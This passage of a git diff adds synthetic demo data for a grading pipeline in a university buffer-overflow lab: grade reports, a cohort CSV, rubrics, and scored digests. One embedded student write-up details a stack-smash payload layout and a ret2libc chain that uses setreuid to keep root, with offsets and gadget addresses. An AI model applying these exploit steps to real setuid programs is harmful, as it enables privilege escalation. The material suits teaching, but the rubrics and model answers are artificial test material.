`kate-kane` · Auto 70/70 · Writeup 26/30* + +> Nice work — both phases land and your leak-then-pwn explanation is clear. For full marks, paste both binaries' gdb output and add the setreuid man-page citation in Phase Omega. + + + +### Harvey Dent — **78 / 100** +*github: `harvey-dent` · Auto 60/70 · Writeup 18/30* + +> Your Phase Phi walkthrough is solid — the sub-esp guard, the setreuid privilege fix, and the NOP-sled sizing are all here. Phase Omega was left as template placeholders; even without a working exploit you earn most of those points by writing up the NX fail-analysis, the libc offsets, and the pop/pop/ret gadget. Give the ret2libc walkthrough a try. + + + +### Pamela Isley — **77 / 100** +*github: `pamela-isley` · Auto 60/70 · Writeup 17/30* + +> Good Phase Phi engagement. Two things to tighten: RECON needs the explicit offset subtraction and both binaries' gdb output, and Phase Omega is unfilled — the ret2libc mechanism is worth writing up even without a passing exploit. + + + +### Oswald Cobblepot — **75 / 100** +*github: `oswald-cobblepot` · Auto 60/70 · Writeup 15/30* + +> Your Phase Phi exploit passed, but the walkthrough is generic — tie it to specific lines of your own exploit1.c. Phase Omega is left as placeholders; completing the ret2libc write-up is the biggest available gain. Flesh out the reflections too. + + + +### Jason Todd — **__ / 100** +*github: `jason-todd` · Auto 70/70 · Writeup __/30* + +> _Comments:_ + +### Edward Nashton — **12 / 100** +*github: `edward-nashton` · Auto 0/70 · Writeup 12/30* + +> Right now neither exploit lands in the autograder, but your RECON and Phase Phi reasoning show real understanding. Get a working shell on vuln1 first, then fill the Phase Omega section. Please come to office hours — there's credit waiting once the exploits work and the sections are filled. + + + +### Selina Kyle — **0 / 100** +*github: `selina-kyle` · Auto 0/70 · Writeup 0/30* + +> _no submission_ + +## Canvas entry sheet + +| Student (Last, First) | Proposed | +| --- | --: | +| Oswald Cobblepot | 75 | +| Harvey Dent | 78 | +| Barbara Gordon | 99 | +| Dick Grayson | 97 | +| Pamela Isley | 77 | +| Kate Kane | 96 | +| Selina Kyle | 0 | +| Edward Nashton | 12 | +| Jason Todd | 70 | +| Bruce Wayne | 100 | + +## Provenance & caveats + +Part A (autograde / honor / commits) = audit-grade facts. Part B (writeup scores + comments) = advisory, instructor-confirmed. Rendered deterministically by `reg-lab-report`. diff --git a/examples/cecs-378-demo/recon-lab-demo/bundle.json b/examples/cecs-378-demo/recon-lab-demo/bundle.json new file mode 100644 index 0000000..ac78284 --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/bundle.json @@ -0,0 +1,5 @@ +{ + "lab": "Lab 3 \u2014 Buffer Overflow (demo)", + "generated": "synthetic-demo", + "population": 10 +} \ No newline at end of file diff --git a/examples/cecs-378-demo/recon-lab-demo/cohort.csv b/examples/cecs-378-demo/recon-lab-demo/cohort.csv new file mode 100644 index 0000000..ca17b94 --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/cohort.csv @@ -0,0 +1,11 @@ +github_id,student,repo,points,honor_ok,all_failed,cleared,commits,spread_days,triage_bucket,doc_present,sources,repo_url,feedback_pr,writeup_score,writeup_comment,student_comment,writeup_flags +bruce-wayne,Bruce Wayne,cecs-378-su26-01-lab-03-buffer-overflow-bruce-wayne,70,True,False,phi omega,18,29.4,PASS,True,2,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-bruce-wayne,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-bruce-wayne/pull/1,30,All sections strong; mechanism-causal throughout; Omega full.,"Outstanding after-action report. RECON derives the offset from your own leaked buffer/saved-EIP pair; Phase Phi ties every shellcode stage to a reason; Phase Omega is complete end-to-end — libc base from the printf leak, the setreuid privilege fix with a man-page cite, and a real pop/pop/ret gadget with disassembly. Nothing to add.", +barbara-gordon,Barbara Gordon,cecs-378-su26-01-lab-03-buffer-overflow-barbara-gordon,70,True,False,phi omega,22,30.1,PASS,True,3,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-barbara-gordon,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-barbara-gordon/pull/1,29,Strong throughout; Omega thin on one sub-part.,"Excellent, mechanism-first write-up. Both phases are explained at the byte level and your reflections are concrete. To reach full on Phase Omega, show the numeric libc offsets your commands returned rather than describing them. Great work.", +dick-grayson,Dick Grayson,cecs-378-su26-01-lab-03-buffer-overflow-dick-grayson,70,True,False,phi omega,14,28.7,PASS,True,1,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-dick-grayson,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-dick-grayson/pull/1,27,Solid; recon one binary; Omega missing a sub-part.,"Strong report. Phase Phi is exact and your Omega ret2libc chain is clearly reasoned. Two gaps: paste vuln2's own gdb output in RECON, and add the pop/pop/ret disassembly in Phase Omega. Well done.", +kate-kane,Kate Kane,cecs-378-su26-01-lab-03-buffer-overflow-kate-kane,70,True,False,phi omega,11,30.6,PASS,True,1,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-kate-kane,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-kate-kane/pull/1,26,"Good; Phi solid, Omega missing a sub-part; recon one binary.","Nice work — both phases land and your leak-then-pwn explanation is clear. For full marks, paste both binaries' gdb output and add the setreuid man-page citation in Phase Omega.", +harvey-dent,Harvey Dent,cecs-378-su26-01-lab-03-buffer-overflow-harvey-dent,60,True,False,phi,9,30.5,PASS,True,0,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-harvey-dent,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-harvey-dent/pull/1,18,Phi solid; Omega left as template placeholders (unattempted).,"Your Phase Phi walkthrough is solid — the sub-esp guard, the setreuid privilege fix, and the NOP-sled sizing are all here. Phase Omega was left as template placeholders; even without a working exploit you earn most of those points by writing up the NX fail-analysis, the libc offsets, and the pop/pop/ret gadget. Give the ret2libc walkthrough a try.", +pamela-isley,Pamela Isley,cecs-378-su26-01-lab-03-buffer-overflow-pamela-isley,60,True,False,phi,6,29.9,REVIEW,True,0,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-pamela-isley,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-pamela-isley/pull/1,17,"Phi ok; Omega blank; recon thin (vuln1 only, implicit arithmetic).","Good Phase Phi engagement. Two things to tighten: RECON needs the explicit offset subtraction and both binaries' gdb output, and Phase Omega is unfilled — the ret2libc mechanism is worth writing up even without a passing exploit.", +oswald-cobblepot,Oswald Cobblepot,cecs-378-su26-01-lab-03-buffer-overflow-oswald-cobblepot,60,True,False,phi,7,30.2,PASS,True,0,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-oswald-cobblepot,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-oswald-cobblepot/pull/1,15,Phi generic; Omega blank; aftermath thin.,"Your Phase Phi exploit passed, but the walkthrough is generic — tie it to specific lines of your own exploit1.c. Phase Omega is left as placeholders; completing the ret2libc write-up is the biggest available gain. Flesh out the reflections too.", +edward-nashton,Edward Nashton,cecs-378-su26-01-lab-03-buffer-overflow-edward-nashton,0,True,True,,12,30.0,PASS,True,1,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-edward-nashton,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-edward-nashton/pull/1,12,FAILED BOTH PHASES (honor ok); Phi walkthrough has merit; Omega ~blank; no screenshots.,"Right now neither exploit lands in the autograder, but your RECON and Phase Phi reasoning show real understanding. Get a working shell on vuln1 first, then fill the Phase Omega section. Please come to office hours — there's credit waiting once the exploits work and the sections are filled.", +jason-todd,Jason Todd,cecs-378-su26-01-lab-03-buffer-overflow-jason-todd,70,True,False,phi omega,10,30.3,PASS,True,1,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-jason-todd,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-jason-todd/pull/1,,,, +selina-kyle,Selina Kyle,cecs-378-su26-01-lab-03-buffer-overflow-selina-kyle,,,,,,,,False,0,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-selina-kyle,https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-selina-kyle/pull/1,,,, diff --git a/examples/cecs-378-demo/recon-lab-demo/digest.schema.json b/examples/cecs-378-demo/recon-lab-demo/digest.schema.json new file mode 100644 index 0000000..cc1c245 --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/digest.schema.json @@ -0,0 +1,83 @@ +{ + "additionalProperties": false, + "properties": { + "abstain": { + "type": "boolean" + }, + "bonus": { + "additionalProperties": false, + "properties": {}, + "type": "object" + }, + "comment": { + "type": "string" + }, + "confidence": { + "enum": [ + "high", + "medium", + "low" + ] + }, + "github_id": { + "minLength": 1, + "type": "string" + }, + "sections": { + "additionalProperties": false, + "properties": { + "aftermath": { + "minimum": 0, + "type": "integer" + }, + "craft": { + "minimum": 0, + "type": "integer" + }, + "omega_walk": { + "minimum": 0, + "type": "integer" + }, + "phi_walk": { + "minimum": 0, + "type": "integer" + }, + "recon": { + "minimum": 0, + "type": "integer" + }, + "target": { + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "target", + "recon", + "phi_walk", + "omega_walk", + "aftermath", + "craft" + ], + "type": "object" + }, + "student_comment": { + "maxLength": 600, + "type": "string" + }, + "total": { + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "github_id", + "sections", + "total", + "comment", + "student_comment", + "confidence", + "abstain" + ], + "type": "object" +} \ No newline at end of file diff --git a/examples/cecs-378-demo/recon-lab-demo/digest_results.jsonl b/examples/cecs-378-demo/recon-lab-demo/digest_results.jsonl new file mode 100644 index 0000000..68999e5 --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/digest_results.jsonl @@ -0,0 +1,8 @@ +{"github_id": "bruce-wayne", "sections": {"target": 2, "recon": 6, "phi_walk": 6, "omega_walk": 9, "aftermath": 5, "craft": 2}, "bonus": {}, "total": 30, "comment": "All sections strong; mechanism-causal throughout; Omega full.", "student_comment": "Outstanding after-action report. RECON derives the offset from your own leaked buffer/saved-EIP pair; Phase Phi ties every shellcode stage to a reason; Phase Omega is complete end-to-end \u2014 libc base from the printf leak, the setreuid privilege fix with a man-page cite, and a real pop/pop/ret gadget with disassembly. Nothing to add.", "confidence": "high", "abstain": false} +{"github_id": "barbara-gordon", "sections": {"target": 2, "recon": 6, "phi_walk": 6, "omega_walk": 8, "aftermath": 5, "craft": 2}, "bonus": {}, "total": 29, "comment": "Strong throughout; Omega thin on one sub-part.", "student_comment": "Excellent, mechanism-first write-up. Both phases are explained at the byte level and your reflections are concrete. To reach full on Phase Omega, show the numeric libc offsets your commands returned rather than describing them. Great work.", "confidence": "high", "abstain": false} +{"github_id": "dick-grayson", "sections": {"target": 2, "recon": 5, "phi_walk": 6, "omega_walk": 7, "aftermath": 5, "craft": 2}, "bonus": {}, "total": 27, "comment": "Solid; recon one binary; Omega missing a sub-part.", "student_comment": "Strong report. Phase Phi is exact and your Omega ret2libc chain is clearly reasoned. Two gaps: paste vuln2's own gdb output in RECON, and add the pop/pop/ret disassembly in Phase Omega. Well done.", "confidence": "medium", "abstain": false} +{"github_id": "kate-kane", "sections": {"target": 2, "recon": 5, "phi_walk": 5, "omega_walk": 7, "aftermath": 5, "craft": 2}, "bonus": {}, "total": 26, "comment": "Good; Phi solid, Omega missing a sub-part; recon one binary.", "student_comment": "Nice work \u2014 both phases land and your leak-then-pwn explanation is clear. For full marks, paste both binaries' gdb output and add the setreuid man-page citation in Phase Omega.", "confidence": "medium", "abstain": false} +{"github_id": "harvey-dent", "sections": {"target": 2, "recon": 5, "phi_walk": 5, "omega_walk": 0, "aftermath": 4, "craft": 2}, "bonus": {}, "total": 18, "comment": "Phi solid; Omega left as template placeholders (unattempted).", "student_comment": "Your Phase Phi walkthrough is solid \u2014 the sub-esp guard, the setreuid privilege fix, and the NOP-sled sizing are all here. Phase Omega was left as template placeholders; even without a working exploit you earn most of those points by writing up the NX fail-analysis, the libc offsets, and the pop/pop/ret gadget. Give the ret2libc walkthrough a try.", "confidence": "medium", "abstain": false} +{"github_id": "pamela-isley", "sections": {"target": 2, "recon": 4, "phi_walk": 5, "omega_walk": 0, "aftermath": 4, "craft": 2}, "bonus": {}, "total": 17, "comment": "Phi ok; Omega blank; recon thin (vuln1 only, implicit arithmetic).", "student_comment": "Good Phase Phi engagement. Two things to tighten: RECON needs the explicit offset subtraction and both binaries' gdb output, and Phase Omega is unfilled \u2014 the ret2libc mechanism is worth writing up even without a passing exploit.", "confidence": "medium", "abstain": false} +{"github_id": "oswald-cobblepot", "sections": {"target": 2, "recon": 4, "phi_walk": 4, "omega_walk": 0, "aftermath": 3, "craft": 2}, "bonus": {}, "total": 15, "comment": "Phi generic; Omega blank; aftermath thin.", "student_comment": "Your Phase Phi exploit passed, but the walkthrough is generic \u2014 tie it to specific lines of your own exploit1.c. Phase Omega is left as placeholders; completing the ret2libc write-up is the biggest available gain. Flesh out the reflections too.", "confidence": "medium", "abstain": false} +{"github_id": "edward-nashton", "sections": {"target": 2, "recon": 3, "phi_walk": 4, "omega_walk": 1, "aftermath": 2, "craft": 0}, "bonus": {}, "total": 12, "comment": "FAILED BOTH PHASES (honor ok); Phi walkthrough has merit; Omega ~blank; no screenshots.", "student_comment": "Right now neither exploit lands in the autograder, but your RECON and Phase Phi reasoning show real understanding. Get a working shell on vuln1 first, then fill the Phase Omega section. Please come to office hours \u2014 there's credit waiting once the exploits work and the sections are filled.", "confidence": "high", "abstain": false} diff --git a/examples/cecs-378-demo/recon-lab-demo/digest_tasks.jsonl b/examples/cecs-378-demo/recon-lab-demo/digest_tasks.jsonl new file mode 100644 index 0000000..63f53c6 --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/digest_tasks.jsonl @@ -0,0 +1,10 @@ +{"autograde": {"cleared": ["omega", "phi"], "honor_ok": true, "points": 70}, "github_id": "barbara-gordon", "rubric": {"bonus": [], "cap": 30, "comment_max_chars": 140, "lab": "Lab 3 \u2014 Buffer Overflow (Phase \u03a6 WALK IN / Phase \u03a9 COLD STEEL)", "sections": [{"anchors": {"adequate": "Filled in but missing one element \u2014 dates absent, or the fingerprint is pasted without the contextual env/date line.", "missing": "Empty or placeholder text unchanged.", "strong": "States where the work was done (Codespace or local) and the dates, and pastes the `make print-seed` line, which matches the `seed-fingerprint:` in the WRITEUP frontmatter.", "weak": "Fingerprint or environment stated but it does not appear to match the frontmatter (flag for instructor)."}, "key": "target", "label": "\u00a70 TARGET \u2014 environment + seed fingerprint", "max": 2, "requires_cleared": null}, {"anchors": {"adequate": "gdb output present and offset reasoning sketched, with small gaps (e.g. shows the offset for vuln1 but not vuln2, or the arithmetic is implicit).", "missing": "No gdb output at all.", "strong": "Both `info frame` and `x/40wx $esp` pasted from their OWN vuln1 and vuln2 (addresses non-trivially seed-specific), and the offset derivation is shown \u2014 not merely \"the offset was 76\".", "weak": "One of: gdb output but no offset reasoning; offset claimed with no gdb output; output present but identical to another student's addresses (seed collision impossible \u2192 flag for instructor)."}, "key": "recon", "label": "\u00a71 RECON \u2014 gdb output + offset derivation", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of four sub-questions, or all four but shallow on one (e.g. \"I used standard execve shellcode\" with no reason for those bytes).", "missing": "No walkthrough.", "strong": "Answers all four sub-questions \u2014 why those shellcode bytes, why the NOP sled is sized as it is, where the offset came from, and the exact line that reads the leaked `&buffer` from vuln1's stdout and how it is used in the payload \u2014 tied to specific lines of THEIR exploit1.c.", "weak": "One or two sub-questions; mostly restates the prompt without engaging with their own code."}, "key": "phi_walk", "label": "\u00a72 Phase \u03a6 walkthrough (exploit1.c)", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of the four sub-parts solid, or all four present but thin on the \"why\" (e.g. offsets shown but commands omitted; gadget address without disassembly).", "missing": "Section empty.", "strong": "All four sub-parts full: (3a) pastes the segfault/signal AND explains the non-executable stack (no `-z execstack`); (3b) names the tools and shows the actual offsets for system/exit/setreuid/\"/bin/sh\"; (3c) correctly explains why the naive shell drops the setuid `oracle` privilege and names the `setreuid(geteuid(),geteuid())` fix with a man-page cite; (3d) names the gadget-finding tool, gives the pop/pop/ret address + disassembly of the three instructions, and why it is needed.", "weak": "One or two sub-parts; mechanism vague, a wrong fix (\"you need root\"), or prompt restated."}, "key": "omega_walk", "label": "\u00a73 Phase \u03a9 walkthrough (4 sub-parts: fail-analysis, libc offsets, setuid, gadget)", "max": 9, "requires_cleared": null}, {"anchors": {"adequate": "Three substantive and one thin, or two substantive and two thin.", "missing": "Section empty.", "strong": "All four reflections substantive: a real opinion on which phase was harder; a no-leak counterfactual naming a concrete primitive (format string / side channel / low-entropy brute force / partial overwrite / \"stuck without a leak\"); the canary answer names `__stack_chk_fail` / abort-before-RIP; and a SPECIFIC cited section (Phrack 49:14 / GNU Coding Standards / TAOUP / POSIX) with a non-platitude \"why it matters\".", "weak": "One substantive reflection; the rest vague or \"both were hard\"."}, "key": "aftermath", "label": "\u00a74 AFTERMATH \u2014 four reflections (1.25 each)", "max": 5, "requires_cleared": null}, {"anchors": {"adequate": "Code commented but sparse OR one-to-two screenshots missing \u2014 evidence of craft but incomplete.", "missing": "No comments and no screenshots.", "strong": "exploit1.c and exploit2.c carry student-written explanatory comments (not just code), all four screenshots are present (phase-phi-shell/flag, phase-omega-shell/flag), and the prose is in the student's own voice.", "weak": "Bare uncommented exploits and/or most screenshots missing."}, "key": "craft", "label": "\u00a75 craft \u2014 commented exploit code + required screenshots", "max": 2, "requires_cleared": null}], "student_comment_max_chars": 600, "total": 30}, "schema": {"additionalProperties": false, "properties": {"abstain": {"type": "boolean"}, "bonus": {"additionalProperties": false, "properties": {}, "type": "object"}, "comment": {"type": "string"}, "confidence": {"enum": ["high", "medium", "low"]}, "github_id": {"minLength": 1, "type": "string"}, "sections": {"additionalProperties": false, "properties": {"aftermath": {"minimum": 0, "type": "integer"}, "craft": {"minimum": 0, "type": "integer"}, "omega_walk": {"minimum": 0, "type": "integer"}, "phi_walk": {"minimum": 0, "type": "integer"}, "recon": {"minimum": 0, "type": "integer"}, "target": {"minimum": 0, "type": "integer"}}, "required": ["target", "recon", "phi_walk", "omega_walk", "aftermath", "craft"], "type": "object"}, "student_comment": {"maxLength": 600, "type": "string"}, "total": {"minimum": 0, "type": "integer"}}, "required": ["github_id", "sections", "total", "comment", "student_comment", "confidence", "abstain"], "type": "object"}, "skip": false, "student": "Barbara Gordon", "writeup_text": "---\nreal-name: Barbara Gordon\ncsulb-id: \"040100103\"\nhandle: \"Oracle_0x7F\"\nseed-fingerprint: d4e5f6\nflag1: CECS378{vuln1_2a7cd410}\nflag2: CECS378{vuln2_5eb98f37}\nhonor-flag: CECS378{honor_bd6742c9}\n---\n\n# After-Action Report -- Buffer Overflow Lab\n\n[--[ 0.0 -- TARGET ]--]\n\n- **Env:** GitHub Codespace, `ubuntu-22.04`, gcc 11.4.0, gdb 12.1, glibc 2.35. Built with the provided `Makefile` (`-m32 -fno-stack-protector -z execstack -no-pie` for vuln1; vuln2 drops `execstack`).\n- **Started:** 2026-06-24. **Finished:** 2026-06-26. About 8 hours total; the ret2libc chain in \u03a9 took the most fiddling.\n- **Seed line:** `seed=d4e5f6 :: derive(barbara-gordon) -> {vuln1: stack_smash_std, vuln2: nx_ret2libc}`. Seed fingerprint `d4e5f6` pins my binaries and flags.\n\nMy handle is Oracle because I spent this whole lab reading memory that was never meant to be read. Full mechanism below.\n\n[--[ 1.0 -- RECON ]--]\n\n**vuln1 (`./vuln1`) -- stack smash.**\n\nSink is `strcpy(buffer, argv[1])` into `char buffer[64]`. Broke on the function, overflowed, and read the frame:\n\n```\n(gdb) break vuln_func\n(gdb) run $(python3 -c 'print(\"A\"*90)')\n(gdb) info frame\nStack level 0, frame at 0xffffd450:\n eip = 0x0804920a in vuln_func (vuln1.c:15); saved eip = 0x41414141\n called by frame at 0xffffd470\n Saved registers:\n ebp at 0xffffd448, eip at 0xffffd44c\n```\n\nSaved EIP already `0x41414141`. Now the stack:\n\n```\n(gdb) x/40wx $esp\n0xffffd400: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd410: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd420: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd430: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd440: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd450: 0xffffd530 0x00000002 0x08049260 0xf7fb0000\n0xffffd460: 0x00000000 0xf7c23eab 0xf7fb0000 0x00000000\n0xffffd470: 0x00000000 0xf7c23eab 0x00000002 0xffffd504\n0xffffd480: 0xffffd510 0xffffd4a0 0x00000000 0x00000000\n0xffffd490: 0x00000000 0xf7ffcb80 0xf7ffd000 0x00000000\n```\n\n`buffer` starts at `0xffffd400`. Saved EIP at `0xffffd44c` (from `info frame`). So:\n\n**offset = 0xffffd44c - 0xffffd400 = 0x4c = 76 bytes** (64 buffer + 8 pad + 4 saved EBP). Verified with a `AAAABBBBCCCC...` marker pattern -- the word landing in EIP matched the byte at position 76. Confirmed.\n\n**vuln2 (`./vuln2`) -- NX stack.**\n\nSame `strcpy` into `char buffer[64]`. Frame + stack:\n\n```\n(gdb) info frame\nStack level 0, frame at 0xffffd420:\n saved eip = 0x42424242\n Saved registers:\n ebp at 0xffffd418, eip at 0xffffd41c\n(gdb) x/12wx 0xffffd3d0\n0xffffd3d0: 0x42424242 0x42424242 0x42424242 0x42424242\n0xffffd3e0: 0x42424242 0x42424242 0x42424242 0x42424242\n0xffffd3f0: 0x42424242 0x42424242 0x42424242 0x42424242\n```\n\n`buffer` = `0xffffd3d0`, saved EIP = `0xffffd41c`. **offset = 0x4c = 76** again -- identical layout. The difference: `readelf -l vuln2 | grep GNU_STACK` shows `RW` (no `E`), so the stack is non-executable. That's what kills the \u03a6 approach and pushes me to ret2libc. Both offsets are 76.\n\n[--[ 2.0 -- PHASE PHI ACE ]--]\n\nPhase \u03a6 is shellcode-on-stack against `vuln1`. My `exploit1.c` lays out `[NOP sled][shellcode][return addr]`.\n\n**Shellcode byte choice.** 25-byte `execve(\"/bin/sh\")` stub, the standard null-free version. The sink is `strcpy`, so any `0x00` byte truncates the copy -- the payload dies mid-write. That's why the stub uses `xor eax, eax` to zero registers instead of `mov eax, 0` (which would assemble a `0x00`). I ran `objdump -d` on the stub and grepped for `00` to confirm it was null-free before firing.\n\n**NOP sled sizing.** 76 bytes to reach EIP, shellcode is 25, so I front-loaded `76 - 25 = 51` bytes of `0x90` NOPs, then the shellcode, then the 4-byte return. I pointed EIP into the sled rather than at the exact shellcode start so stack jitter between gdb and a bare run doesn't make me overshoot -- any landing in the 51-byte sled slides down into the shellcode.\n\n**Offset source.** The 76 from \u00a71.0; `exploit1.c` uses `#define OFFSET 76`.\n\n**Reading the leaked &buffer.** The harness prints `buffer @ 0xffffd400`. My exploit parses that with `sscanf`, then sets the return address to `buf_addr + 32` -- 32 bytes into the 51-byte sled, safely ahead of the shellcode. So EIP = `0xffffd400 + 32 = 0xffffd420`, a NOP, and it rides down into `execve`. In code: `memset(p,0x90,OFFSET-SCLEN); memcpy(p+OFFSET-SCLEN,sc,SCLEN); *(unsigned*)(p+OFFSET)=buf+32;`.\n\nShell popped on the first fired payload; `id` confirmed.\n\n![phi shell](screenshots/phase-phi-shell.png)\n![gdb sled landing](screenshots/phase-phi-gdb.png)\n\nFlag: `CECS378{vuln1_2a7cd410}`.\n\n[--[ 3.0 -- PHASE OMEGA ACE ]--]\n\nPhase \u03a9 is `vuln2` under NX. Return-to-libc.\n\n**(3a) Why \u03a6 fails here.** Firing my \u03a6 payload at `vuln2` segfaults:\n\n```\nProgram received signal SIGSEGV, Segmentation fault.\n0xffffd3f8 in ?? ()\n```\n\nEIP reaches my sled address fine, but the CPU won't execute it: `GNU_STACK` is `RW` (NX set), so the stack page is data-only. Injected shellcode is just inert bytes. The fix is to stop injecting code and instead jump into code that's *already* executable -- libc. Return-to-libc.\n\n**(3b) libc offset hunting.** I need `system` and a `\"/bin/sh\"` string. Runtime addresses first:\n\n```\n(gdb) info proc mappings\n 0xf7c00000 0xf7c22000 r--p libc.so.6\n(gdb) p system\n$1 = {} 0xf7c4a230 \n```\n\nStatic offsets so I don't depend on gdb:\n\n```\n$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep ' system@'\n 1500: 0004a230 55 FUNC GLOBAL DEFAULT system@@GLIBC_2.0\n$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep '\\bexit\\b'\n0003d4a0 T exit\n$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep '/bin/sh'\n 1c3d88 /bin/sh\n```\n\nOffsets: `system=0x0004a230`, `exit=0x0003d4a0`, `\"/bin/sh\"=0x001c3d88`. With base `0xf7c00000`: `system=0xf7c4a230`, `exit=0xf7c3d4a0`, `binsh=0xf7dc3d88`. Chain after the 76-byte filler: `[&system][&exit][&\"/bin/sh\"]`. `exit` is the fake return so the process exits cleanly after the shell.\n\n**(3c) setuid / setreuid privilege fix.** `vuln2` is setuid-root, but the spawned shell drops back to my real uid because bash self-demotes when euid != ruid. Fix: call `setreuid(0,0)` before `system`. From `man 2 setreuid`: *\"setreuid() sets real and effective user IDs of the calling process.\"* I set both to 0 so the shell stays root instead of demoting. Address `setreuid = 0xf7c00000 + 0x000d5a10 = 0xf7cd5a10` (from `nm -D`). After adding it, `id` inside the shell showed `euid=0(root)`.\n\n**(3d) pop/pop/ret gadget.** Because I now chain `setreuid(0,0)` and then `system`, after `setreuid` returns its two stack arguments are still sitting there, so I need a `pop; pop; ret` gadget as `setreuid`'s return address to clear them before falling into `&system`. I found one with `ROPgadget --binary vuln2 --only \"pop|ret\"` and used `0x080492e6 (pop esi; pop edi; ret)`. So the chain becomes `[&setreuid][0x080492e6][0][0][&system][&exit][&binsh]`. This worked and gave me the root shell. *(I'll be honest -- I understood that the gadget clears the two args and that \"pop pop\" matches two arguments, but I didn't fully trace in the disassembler why esi/edi specifically are safe to clobber here versus some other register pair; I picked the first pop/pop/ret that matched and it fired.)*\n\n![omega chain in gdb](screenshots/phase-omega-chain.png)\n![omega root shell](screenshots/phase-omega-root.png)\n\nFlag: `CECS378{vuln2_5eb98f37}`.\n\n[--[ 4.0 -- AFTERMATH ]--]\n\n**Which phase was harder, and why.** \u03a9 was much harder. \u03a6 is basically arithmetic once you have the offset, and the NOP sled forgives small addressing errors. \u03a9 needs several exact libc addresses whose offsets from each other must all be right at once, plus a gadget, plus the setreuid detail -- and a single wrong word is a silent segfault with no hint about which link failed. The feedback loop was long: I'd change one address, rerun, get the same crash, and have to reason about *which* of five stack words was wrong. \u03a6 never made me do that.\n\n**No-leak counterfactual.** Without the leaked `&buffer`, \u03a6 has to beat stack ASLR. I'd widen the NOP sled massively and brute-force across repeated runs, betting one run's randomized stack lands EIP somewhere in the sled -- or find a separate info leak (format-string bug, uninitialized read) to recover a live stack pointer. For \u03a9 under library ASLR it's harder still: I'd need to leak a libc address first (e.g. ROP into `puts(GOT_entry)` to print a known function's real address), compute the libc base from the known offset, then do the ret2libc as a second stage. The leak is what turns a hard exploit into an easy one.\n\n**Canary -> `__stack_chk_fail`.** With `-fstack-protector`, gcc places a random canary word between `buffer` and the saved EBP/EIP. My 76-byte `strcpy` write plows through the canary on its way to EIP. In the function epilogue the compiler-inserted check compares the on-stack canary against the master copy in thread-local storage; a mismatch calls `__stack_chk_fail`, which prints `*** stack smashing detected ***` and `abort()`s -- *before* the corrupted EIP is ever loaded. So the attack is caught at return time. Bypassing it means either leaking the canary and rewriting the same value into the payload, or using a write primitive that jumps over the canary entirely.\n\n**Cited source.** Aleph One, \"Smashing the Stack for Fun and Profit,\" *Phrack* 49:14 (1996). The `[NOP sled | shellcode | return addr]` layout and the tactic of aiming EIP into the sled rather than at an exact byte both come from that paper. It was genuinely wild to read a 30-year-old article and have it drop straight onto a 2026 Codespace binary.\n\nHonor flag: `CECS378{honor_bd6742c9}` -- all my own work; gdb sessions and screenshots from my own Codespace; no borrowed payloads.\n"} +{"autograde": {"cleared": ["omega", "phi"], "honor_ok": true, "points": 70}, "github_id": "bruce-wayne", "rubric": {"bonus": [], "cap": 30, "comment_max_chars": 140, "lab": "Lab 3 \u2014 Buffer Overflow (Phase \u03a6 WALK IN / Phase \u03a9 COLD STEEL)", "sections": [{"anchors": {"adequate": "Filled in but missing one element \u2014 dates absent, or the fingerprint is pasted without the contextual env/date line.", "missing": "Empty or placeholder text unchanged.", "strong": "States where the work was done (Codespace or local) and the dates, and pastes the `make print-seed` line, which matches the `seed-fingerprint:` in the WRITEUP frontmatter.", "weak": "Fingerprint or environment stated but it does not appear to match the frontmatter (flag for instructor)."}, "key": "target", "label": "\u00a70 TARGET \u2014 environment + seed fingerprint", "max": 2, "requires_cleared": null}, {"anchors": {"adequate": "gdb output present and offset reasoning sketched, with small gaps (e.g. shows the offset for vuln1 but not vuln2, or the arithmetic is implicit).", "missing": "No gdb output at all.", "strong": "Both `info frame` and `x/40wx $esp` pasted from their OWN vuln1 and vuln2 (addresses non-trivially seed-specific), and the offset derivation is shown \u2014 not merely \"the offset was 76\".", "weak": "One of: gdb output but no offset reasoning; offset claimed with no gdb output; output present but identical to another student's addresses (seed collision impossible \u2192 flag for instructor)."}, "key": "recon", "label": "\u00a71 RECON \u2014 gdb output + offset derivation", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of four sub-questions, or all four but shallow on one (e.g. \"I used standard execve shellcode\" with no reason for those bytes).", "missing": "No walkthrough.", "strong": "Answers all four sub-questions 